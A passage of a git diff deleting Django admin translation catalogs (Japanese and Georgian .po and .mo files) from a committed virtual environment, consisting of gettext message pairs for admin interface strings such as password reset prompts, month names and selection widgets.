メールアドレスを以下に入力すると、新しいパスワード" -"の設定方法をお知らせします。" - -msgid "Email address:" -msgstr "メールアドレス:" - -msgid "Reset my password" -msgstr "パスワードをリセット" - -msgid "Select all objects on this page for an action" -msgstr "アクション用にこのページのすべてのオブジェクトを選択" - -msgid "All dates" -msgstr "いつでも" - -#, python-format -msgid "Select %s" -msgstr "%s を選択" - -#, python-format -msgid "Select %s to change" -msgstr "変更する %s を選択" - -#, python-format -msgid "Select %s to view" -msgstr "表示する%sを選択" - -msgid "Date:" -msgstr "日付:" - -msgid "Time:" -msgstr "時刻:" - -msgid "Lookup" -msgstr "検索" - -msgid "Currently:" -msgstr "現在の値:" - -msgid "Change:" -msgstr "変更後:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ja/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ja/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 513b0a2b..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ja/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ja/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ja/LC_MESSAGES/djangojs.po deleted file mode 100644 index 55e78db5..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ja/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,322 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Goto Hayato , 2021 -# Jannis Leidel , 2011 -# Shinya Okano , 2012,2014-2016,2023 -# Taichi Taniguchi, 2022 -# Takuro Onoue , 2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 15:04-0300\n" -"PO-Revision-Date: 2023-12-04 07:59+0000\n" -"Last-Translator: Shinya Okano , 2012,2014-2016,2023\n" -"Language-Team: Japanese (http://app.transifex.com/django/django/language/" -"ja/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ja\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, javascript-format -msgid "Available %s" -msgstr "利用可能 %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"これが使用可能な %s のリストです。下のボックスで項目を選択し、2つのボックス間" -"の \"選択\"の矢印をクリックして、いくつかを選択することができます。" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "使用可能な %s のリストを絞り込むには、このボックスに入力します。" - -msgid "Filter" -msgstr "フィルター" - -msgid "Choose all" -msgstr "全て選択" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "クリックするとすべての %s を選択します。" - -msgid "Choose" -msgstr "選択" - -msgid "Remove" -msgstr "削除" - -#, javascript-format -msgid "Chosen %s" -msgstr "選択された %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"これが選択された %s のリストです。下のボックスで選択し、2つのボックス間の " -"\"削除\"矢印をクリックして一部を削除することができます。" - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "選択された%sのリストを絞り込むには、このボックスに入力します。" - -msgid "Remove all" -msgstr "すべて削除" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "クリックするとすべての %s を選択から削除します。" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "選択された%s件のオプションは非表示です。" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(cnt)s個中%(sel)s個選択" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"フィールドに未保存の変更があります。操作を実行すると未保存の変更は失われま" -"す。" - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"操作を選択しましたが、フィールドに未保存の変更があります。OKをクリックして保" -"存してください。その後、操作を再度実行する必要があります。" - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"操作を選択しましたが、フィールドに変更はありませんでした。もしかして保存ボタ" -"ンではなくて実行ボタンをお探しですか。" - -msgid "Now" -msgstr "現在" - -msgid "Midnight" -msgstr "0時" - -msgid "6 a.m." -msgstr "午前 6 時" - -msgid "Noon" -msgstr "12時" - -msgid "6 p.m." -msgstr "午後 6 時" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "ノート: あなたの環境はサーバー時間より、%s時間進んでいます。" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "ノート: あなたの環境はサーバー時間より、%s時間遅れています。" - -msgid "Choose a Time" -msgstr "時間を選択" - -msgid "Choose a time" -msgstr "時間を選択" - -msgid "Cancel" -msgstr "キャンセル" - -msgid "Today" -msgstr "今日" - -msgid "Choose a Date" -msgstr "日付を選択" - -msgid "Yesterday" -msgstr "昨日" - -msgid "Tomorrow" -msgstr "明日" - -msgid "January" -msgstr "1月" - -msgid "February" -msgstr "2月" - -msgid "March" -msgstr "3月" - -msgid "April" -msgstr "4月" - -msgid "May" -msgstr "5月" - -msgid "June" -msgstr "6月" - -msgid "July" -msgstr "7月" - -msgid "August" -msgstr "8月" - -msgid "September" -msgstr "9月" - -msgid "October" -msgstr "10月" - -msgid "November" -msgstr "11月" - -msgid "December" -msgstr "12月" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "1月" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "2月" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "3月" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "4月" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "5月" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "6月" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "7月" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "8月" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "9月" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "10月" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "11月" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "12月" - -msgid "Sunday" -msgstr "日曜日" - -msgid "Monday" -msgstr "月曜日" - -msgid "Tuesday" -msgstr "火曜日" - -msgid "Wednesday" -msgstr "水曜日" - -msgid "Thursday" -msgstr "木曜日" - -msgid "Friday" -msgstr "金曜日" - -msgid "Saturday" -msgstr "土曜日" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "日" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "月" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "火" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "水" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "木" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "金" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "土" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "日" - -msgctxt "one letter Monday" -msgid "M" -msgstr "月" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "火" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "水" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "木" - -msgctxt "one letter Friday" -msgid "F" -msgstr "金" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "土" - -msgid "Show" -msgstr "表示" - -msgid "Hide" -msgstr "非表示" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ka/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ka/LC_MESSAGES/django.mo deleted file mode 100644 index c5e7e752..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ka/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ka/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ka/LC_MESSAGES/django.po deleted file mode 100644 index 4929590b..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ka/LC_MESSAGES/django.po +++ /dev/null @@ -1,764 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# André Bouatchidzé , 2013-2015 -# David A. , 2011 -# David A. , 2011 -# Jannis Leidel , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Jannis Leidel , 2011\n" -"Language-Team: Georgian (http://app.transifex.com/django/django/language/" -"ka/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ka\n" -"Plural-Forms: nplurals=2; plural=(n!=1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "არჩეული %(verbose_name_plural)s-ის წაშლა" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s წარმატებით წაიშალა." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s ვერ იშლება" - -msgid "Delete multiple objects" -msgstr "რამდენიმე ობიექტის წაშლა" - -msgid "Administration" -msgstr "ადმინისტრირება" - -msgid "All" -msgstr "ყველა" - -msgid "Yes" -msgstr "კი" - -msgid "No" -msgstr "არა" - -msgid "Unknown" -msgstr "გაურკვეველი" - -msgid "Any date" -msgstr "ნებისმიერი თარიღი" - -msgid "Today" -msgstr "დღეს" - -msgid "Past 7 days" -msgstr "ბოლო 7 დღე" - -msgid "This month" -msgstr "ამ თვეში" - -msgid "This year" -msgstr "წელს" - -msgid "No date" -msgstr "თარიღის გარეშე" - -msgid "Has date" -msgstr "აქვს თარიღი" - -msgid "Empty" -msgstr "ცარიელი" - -msgid "Not empty" -msgstr "ცარიელი არაა" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"გთხოვთ, შეიყვანოთ სწორი %(username)s და პაროლი პერსონალის ანგარიშისთვის. " -"იქონიეთ მხედველობაში, რომ ორივე ველი ითვალისწინებს მთავრულს." - -msgid "Action:" -msgstr "ქმედება:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "კიდევ ერთი %(verbose_name)s-ის დამატება" - -msgid "Remove" -msgstr "წაშლა" - -msgid "Addition" -msgstr "დამატება" - -msgid "Change" -msgstr "ცვლილება" - -msgid "Deletion" -msgstr "წაშლა" - -msgid "action time" -msgstr "ქმედების დრო" - -msgid "user" -msgstr "მომხმარებელი" - -msgid "content type" -msgstr "შემცველობის ტიპი" - -msgid "object id" -msgstr "ობიექტის id" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "ობიექტის წარმ" - -msgid "action flag" -msgstr "ქმედების ალამი" - -msgid "change message" -msgstr "შეცვლის შეტყობინება" - -msgid "log entry" -msgstr "ჟურნალის ჩანაწერი" - -msgid "log entries" -msgstr "ჟურნალის ჩანაწერები" - -#, python-format -msgid "Added “%(object)s”." -msgstr "“%(object)s” დაემატა." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "შეიცვალა “%(object)s” — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "“%(object)s.” წაიშალა" - -msgid "LogEntry Object" -msgstr "ჟურნალის ჩანაწერის ობიექტი" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "დაემატა {name} “{object}”." - -msgid "Added." -msgstr "დამატებულია." - -msgid "and" -msgstr "და" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "დაემატა {fields} {name}-სთვის “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields} შეიცვალა." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "წაიშალა {name} “{object}”." - -msgid "No fields changed." -msgstr "არცერთი ველი არ შეცვლილა." - -msgid "None" -msgstr "არცერთი" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" - -msgid "Select this object for an action - {}" -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "" - -msgid "You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"ობიექტებზე მოქმედებების შესასრულებლად ისინი არჩეული უნდა იყოს. არცერთი " -"ობიექტი არჩეული არ არის." - -msgid "No action selected." -msgstr "ქმედება არჩეული არაა." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "დავამატოთ %s" - -#, python-format -msgid "Change %s" -msgstr "%s-ის შეცვლა" - -#, python-format -msgid "View %s" -msgstr "%s-ის ნახვა" - -msgid "Database error" -msgstr "მონაცემთა ბაზის შეცდომა" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s წარმატებით შეიცვალა." -msgstr[1] "%(count)s %(name)s წარმატებით შეიცვალა." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s-ია არჩეული" -msgstr[1] "%(total_count)s-ია არჩეული" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "%(cnt)s-დან არცერთი არჩეული არ არის" - -msgid "Delete" -msgstr "წაშლა" - -#, python-format -msgid "Change history: %s" -msgstr "ცვლილებების ისტორია: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "Django-ს ადმინისტრირების საიტი" - -msgid "Django administration" -msgstr "Django-ს ადმინისტრირება" - -msgid "Site administration" -msgstr "საიტის ადმინისტრირება" - -msgid "Log in" -msgstr "შესვლა" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s ადმინისტრირება" - -msgid "Page not found" -msgstr "გვერდი ვერ მოიძებნა" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "" - -msgid "Home" -msgstr "მთავარი" - -msgid "Server error" -msgstr "სერვერის შეცდომა" - -msgid "Server error (500)" -msgstr "სერვერის შეცდომა (500)" - -msgid "Server Error (500)" -msgstr "სერვერის შეცდომა (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "არჩეული მოქმედების შესრულება" - -msgid "Go" -msgstr "გადასვლა" - -msgid "Click here to select the objects across all pages" -msgstr "ყველა გვერდზე არსებული ობიექტის მოსანიშნად დააწკაპეთ აქ" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "ყველა %(total_count)s %(module_name)s-ის მონიშვნა" - -msgid "Clear selection" -msgstr "მონიშნულის გასუფთავება" - -msgid "Breadcrumbs" -msgstr "ნამცეცები" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "მოდელები %(name)s აპლიკაციაში" - -msgid "Model name" -msgstr "" - -msgid "Add link" -msgstr "" - -msgid "Change or view list link" -msgstr "" - -msgid "Add" -msgstr "დამატება" - -msgid "View" -msgstr "ხედი" - -msgid "You don’t have permission to view or edit anything." -msgstr "" - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" - -msgid "Error:" -msgstr "" - -msgid "Change password" -msgstr "პაროლის შეცვლა" - -msgid "Set password" -msgstr "პაროლის დაყენება" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"შეიყვანეთ ახალი პაროლი მომხმარებლისათვის %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" - -msgid "Disable password-based authentication" -msgstr "" - -msgid "Enable password-based authentication" -msgstr "" - -msgid "Skip to main content" -msgstr "მთავარ შემცველობაზე გადასვლა" - -msgid "Welcome," -msgstr "კეთილი იყოს თქვენი მობრძანება," - -msgid "View site" -msgstr "საიტის ნახვა" - -msgid "Documentation" -msgstr "დოკუმენტაცია" - -msgid "Log out" -msgstr "გამოსვლა" - -#, python-format -msgid "Add %(name)s" -msgstr "დავამატოთ %(name)s" - -msgid "History" -msgstr "ისტორია" - -msgid "View on site" -msgstr "წარმოდგენა საიტზე" - -msgid "Filter" -msgstr "ფილტრი" - -msgid "Hide counts" -msgstr "რაოდენობების დამალვა" - -msgid "Show counts" -msgstr "რაოდენობების ჩვენება" - -msgid "Clear all filters" -msgstr "ყველა ფილტრის გასუფთავება" - -msgid "Remove from sorting" -msgstr "დალაგებიდან მოშორება" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "დალაგების პრიორიტეტი: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "დალაგების გადართვა" - -msgid "Toggle theme (current theme: auto)" -msgstr "" - -msgid "Toggle theme (current theme: light)" -msgstr "" - -msgid "Toggle theme (current theme: dark)" -msgstr "" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"ობიექტების წაშლა: %(object_name)s '%(escaped_object)s' გამოიწვევს " -"დაკავშირებული ობიექტების წაშლას, მაგრამ თქვენ არა გაქვთ შემდეგი ტიპების " -"ობიექტების წაშლის უფლება:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"%(object_name)s ტიპის '%(escaped_object)s' ობიექტის წაშლა მოითხოვს ასევე " -"შემდეგი დაკავშირებული ობიექტების წაშლას:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"ნამდვილად გსურთ, წაშალოთ %(object_name)s \"%(escaped_object)s\"? ყველა " -"ქვემოთ მოყვანილი დაკავშირებული ობიექტი წაშლილი იქნება:" - -msgid "Objects" -msgstr "ობიექტები" - -msgid "Yes, I’m sure" -msgstr "დიახ, დარწმუნებული ვარ" - -msgid "No, take me back" -msgstr "არა, დამაბრუნეთ უკან" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"%(objects_name)s ტიპის ობიექტის წაშლა ითხოვს ასევე შემდეგი ობიექტების " -"წაშლას, მაგრამ თქვენ არ გაქვთ ამის ნებართვა:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"არჩეული %(objects_name)s ობიექტის წაშლა მოითხოვს ასევე შემდეგი დაცული " -"დაკავშირეული ობიექტების წაშლას:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"დარწმუნებული ხართ, რომ გსურთ %(objects_name)s ობიექტის წაშლა? ყველა შემდეგი " -"ობიექტი, და მათზე დამოკიდებული ჩანაწერები წაშლილი იქნება:" - -msgid "Delete?" -msgstr "წავშალო?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " %(filter_title)s მიხედვით " - -msgid "Summary" -msgstr "შეჯამება" - -msgid "Recent actions" -msgstr "უკანასკნელი ქმედებები" - -msgid "My actions" -msgstr "ჩემი ქმედებები" - -msgid "None available" -msgstr "ხელმისაწვდომი არაფერია" - -msgid "Added:" -msgstr "დამატებულია:" - -msgid "Changed:" -msgstr "შეცვლილი:" - -msgid "Deleted:" -msgstr "წაიშალა:" - -msgid "Unknown content" -msgstr "უცნობი შიგთავსი" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your login credentials?" -msgstr "" - -msgid "Toggle navigation" -msgstr "ნავიგაციის გადართვა" - -msgid "Sidebar" -msgstr "გვერდითი პანელი" - -msgid "Start typing to filter…" -msgstr "" - -msgid "Filter navigation items" -msgstr "ნავიგაციის ელემენტების გაფილტვრა" - -msgid "Date/time" -msgstr "თარიღი/დრო" - -msgid "User" -msgstr "მომხმარებელი" - -msgid "Action" -msgstr "ქმედება" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "ელემენტი" -msgstr[1] "ჩანაწერები" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "ვაჩვენოთ ყველა" - -msgid "Save" -msgstr "შენახვა" - -msgid "Popup closing…" -msgstr "მხტუნარას დახურვა…" - -msgid "Search" -msgstr "ძებნა" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s შედეგი" -msgstr[1] "%(counter)s შედეგი" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "სულ %(full_result_count)s" - -msgid "Save as new" -msgstr "შენახვა, როგორც ახლის" - -msgid "Save and add another" -msgstr "შენახვა და კიდევ დამატება" - -msgid "Save and continue editing" -msgstr "შენახვა და ჩასწორების დამატება" - -msgid "Save and view" -msgstr "შენახვა და ნახვა" - -msgid "Close" -msgstr "დახურვა" - -#, python-format -msgid "Change selected %(model)s" -msgstr "მონიშნული %(model)s-ის შეცვლა" - -#, python-format -msgid "Add another %(model)s" -msgstr "კიდევ ერთი %(model)s-ის დამატება" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "მონიშნული %(model)s-ის წაშლა" - -#, python-format -msgid "View selected %(model)s" -msgstr "მონიშნული %(model)s-ის ნახვა" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" - -msgid "Log in again" -msgstr "ხელახლა შესვლა" - -msgid "Password change" -msgstr "პაროლის შეცვლა" - -msgid "Your password was changed." -msgstr "თქვენი პაროლი შეიცვალა." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -msgid "Change my password" -msgstr "პაროლის შეცვლა" - -msgid "Password reset" -msgstr "პაროლის ჩამოყრა" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" -"თქვენი პაროლი დაყენებულია. ახლა შეგიძლიათ გადახვიდეთ შემდეგ გვერდზე და " -"შეხვიდეთ სისტემაში." - -msgid "Password reset confirmation" -msgstr "პაროლი ჩამოყრის დადასტურება" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"გთხოვთ, შეიყვანეთ თქვენი ახალი პაროლი ორჯერ, რათა დავრწმუნდეთ, რომ იგი " -"სწორად ჩაბეჭდეთ." - -msgid "New password:" -msgstr "ახალი პაროლი:" - -msgid "Confirm password:" -msgstr "პაროლის დადასტურება:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"პაროლის აღდგენის ბმული არასწორი იყო, შესაძლოა იმის გამო, რომ იგი უკვე ყოფილა " -"გამოყენებული. გთხოვთ, კიდევ ერთხელ სცადოთ პაროლის აღდგენა." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"თქვენ მიიღეთ ეს წერილი იმიტომ, რომ გააკეთეთ პაროლის თავიდან დაყენების " -"მოთხოვნა თქვენი მომხმარებლის ანგარიშისთვის %(site_name)s-ზე." - -msgid "Please go to the following page and choose a new password:" -msgstr "გთხოვთ, გადახვიდეთ შემდეგ გვერდზე და აირჩიოთ ახალი პაროლი:" - -msgid "In case you’ve forgotten, you are:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "გმადლობთ, რომ იყენებთ ჩვენს საიტს!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s საიტის გუნდი" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "ელფოსტის მისამართი:" - -msgid "Reset my password" -msgstr "აღვადგინოთ ჩემი პაროლი" - -msgid "Select all objects on this page for an action" -msgstr "" - -msgid "All dates" -msgstr "ყველა თარიღი" - -#, python-format -msgid "Select %s" -msgstr "აირჩიეთ %s" - -#, python-format -msgid "Select %s to change" -msgstr "აირჩიეთ %s შესაცვლელად" - -#, python-format -msgid "Select %s to view" -msgstr "" - -msgid "Date:" -msgstr "თარიღი:" - -msgid "Time:" -msgstr "დრო:" - -msgid "Lookup" -msgstr "ძიება" - -msgid "Currently:" -msgstr "ამჟამად:" - -msgid "Change:" -msgstr "შეცვლა:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ka/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ka/LC_MESSAGES/djangojs.mo deleted file mode 100644 index a66299c8..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ka/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ka/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ka/LC_MESSAGES/djangojs.po deleted file mode 100644 index 65ee60f0..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ka/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,218 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# André Bouatchidzé , 2013,2015 -# David A. , 2011 -# Jannis Leidel , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2018-05-17 11:50+0200\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Georgian (http://www.transifex.com/django/django/language/" -"ka/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ka\n" -"Plural-Forms: nplurals=2; plural=(n!=1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "მისაწვდომი %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"ეს არის მისაწვდომი %s-ის სია. ზოგიერთი მათგანის ასარჩევად, მონიშვნით ისინი " -"ქვედა სარკმელში და დააწკაპუნეთ ორ სარკმელს შორის მდებარე ისარზე \"არჩევა\" ." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "აკრიფეთ ამ სარკმელში მისაწვდომი %s-ის სიის გასაფილტრად." - -msgid "Filter" -msgstr "ფილტრი" - -msgid "Choose all" -msgstr "ავირჩიოთ ყველა" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "დააწკაპუნეთ ერთდროულად ყველა %s-ის ასარჩევად." - -msgid "Choose" -msgstr "არჩევა" - -msgid "Remove" -msgstr "წავშალოთ" - -#, javascript-format -msgid "Chosen %s" -msgstr "არჩეული %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"ეს არის არჩეული %s-ის სია. ზოგიერთი მათგანის მოსაშორებლად, მონიშვნით ისინი " -"ქვედა სარკმელში და დააწკაპუნეთ ორ სარკმელს შორის მდებარე ისარზე \"მოშორება" -"\" ." - -msgid "Remove all" -msgstr "ყველას მოშორება" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "დააწკაპუნეთ ყველა არჩეული %s-ის ერთდროულად მოსაშორებლად." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(cnt)s-დან არჩეულია %(sel)s" -msgstr[1] "%(cnt)s-დან არჩეულია %(sel)s" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"ცალკეულ ველებში შეუნახავი ცვლილებები გაქვთ! თუ მოქმედებას შეასრულებთ, " -"შეუნახავი ცვლილებები დაიკარაგება." - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"აგირჩევიათ მოქმედება, მაგრამ ცალკეული ველები ჯერ არ 